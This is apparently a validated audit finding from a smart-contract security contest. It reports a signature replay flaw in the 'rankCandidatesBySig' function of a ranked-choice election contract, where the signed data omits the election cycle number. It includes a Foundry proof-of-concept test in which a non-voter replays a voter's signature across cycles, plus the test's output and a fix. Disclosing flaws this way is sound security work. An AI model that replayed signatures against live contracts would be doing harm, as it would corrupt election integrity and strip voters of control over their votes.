President Elector

First Flight #24
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Users can conduct "Signature Replay" attack by exploiting the "rankCandidatesBySig" function to vote on behalf of the signer voter in different election cycles

Relevant GitHub Links

https://github.com/Cyfrin/2024-09-president-elector/blob/main/src/RankedChoice.sol#L50

Summary

The "rankCandidatesBySig" function is vulnerable to "Signature Replay" attack as attackers and malicious users can use the same signature which is signed by a legitimate voter to vote in different election cycles after the current election has ended after the 4 years duration.

Vulnerability Details

The "rankCandidatesBySig" function is used for validating a signature that should be signed from a legit voter with the intention to be executed on the current election cycle only. The signature is composed of the TYPEHASH , and the orderedCandidates. However the "s_voteNumber" which represents the current active election cycle is missed from the signature.

This allows for "Signature Replay" attack as the voter's intention is to give the signature to be executed only in the current election cycle, however with the current vulnerability and not including "s_voteNumber", users can replay this vote on any election cycle on behalf of the victim signer (Voter).

Impact

Leaving signatures to be replayed on any election cycle can have the following impacts:

  • Affects the integrity of the voting system and election results

  • Prevents legit voters from voting on any upcoming elections

Proof of Concept

To demonstrate the issue, first add the following helper function in the "rankedChoice.sol" file::

function hashTypedDataV4(
bytes32 structHash
) external view returns (bytes32) {
bytes32 hash = _hashTypedDataV4(structHash);
return hash;
}

Unit Test:

Then add the following unit test function in the "RankedChoiceTest.t.sol" file:
forge test --mt testRankCandidatesSignatureReplayAttack -vv

function testRankCandidatesSignatureReplayAttack() public {
(address bob, uint256 bobPk) = makeAddrAndKey("bob");
address[] memory voters_arr = new address[]();
voters_arr[0] = bob;
console.log("Add Bob to Voters List");
RankedChoice rankedChoiceInstance = new RankedChoice(voters_arr);
// Prepare the candidate ranking
orderedCandidates = [candidates[0], candidates[1], candidates[2]];
// Simulate signature for voter1 using EIP712
bytes32 structHash = keccak256(
abi.encode(rankedChoiceInstance.TYPEHASH(), orderedCandidates)
);
bytes32 hash = rankedChoiceInstance.hashTypedDataV4(structHash);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(bobPk, hash);
bytes memory signature = abi.encodePacked(r, s, v);
// John: Not in Voters List
(address john, ) = makeAddrAndKey("john");
vm.prank(john);
console.log(
"John who is not a voter calls orderedCandidates using Bob's Signature"
);
rankedChoiceInstance.rankCandidatesBySig(orderedCandidates, signature);
console.log(
"John who is not a voter calls orderedCandidates using Bob's Signature"
);
vm.prank(john);
address[] memory recordedRanking = rankedChoiceInstance
.getUserCurrentVote(bob);
console.log(
"John executed Bob's votes successfully on current election cycle"
);
for (uint256 i = 0; i < recordedRanking.length; i++) {
console.log(recordedRanking[i]);
}
assertEq(recordedRanking[0], candidates[0]);
assertEq(recordedRanking[1], candidates[1]);
assertEq(recordedRanking[2], candidates[2]);
// End current voting cycle
console.log("Ending current election cycle");
vm.warp(block.timestamp + rankedChoiceInstance.getDuration());
vm.prank(john);
rankedChoiceInstance.selectPresident();
vm.prank(john);
rankedChoiceInstance.rankCandidatesBySig(orderedCandidates, signature);
vm.prank(john);
recordedRanking = rankedChoiceInstance.getUserCurrentVote(bob);
console.log(
"John maliciously executed Bob's votes on the new election cycle"
);
for (uint256 i = 0; i < recordedRanking.length; i++) {
console.log(recordedRanking[i]);
}
assertEq(recordedRanking[0], candidates[0]);
assertEq(recordedRanking[1], candidates[1]);
assertEq(recordedRanking[2], candidates[2]);
}

Output:

Ran 1 test for test/RankedChoiceTest.t.sol:RankedChoiceTest
[PASS] testRankCandidatesSignatureReplayAttack() (gas: 1635101)
Logs:
Add Bob to Voters List
John who is not a voter calls orderedCandidates using Bob's Signature
John who is not a voter calls orderedCandidates using Bob's Signature
John executed Bob's votes successfully on current election cycle
0x00000000000000000000000000000000000000C8
0x00000000000000000000000000000000000000C9
0x00000000000000000000000000000000000000ca
Ending current election cycle
John maliciously executed Bob's votes on the new election cycle
0x00000000000000000000000000000000000000C8
0x00000000000000000000000000000000000000C9
0x00000000000000000000000000000000000000ca
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.73ms (899.30µs CPU time)
Ran 1 test suite in 3.76ms (1.73ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Code Review and Foundry Unit Test

Recommendations

It is recommended to include the number that represents the current election cycle "s_voteNumber" as part of the signature that needs to be validated by the "rankCandidatesBySig" function. This will prevent the signature from being used on different election cycles.

Updates

Lead Judging Commences

inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Replay Attack - The same signature can be used over and over

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.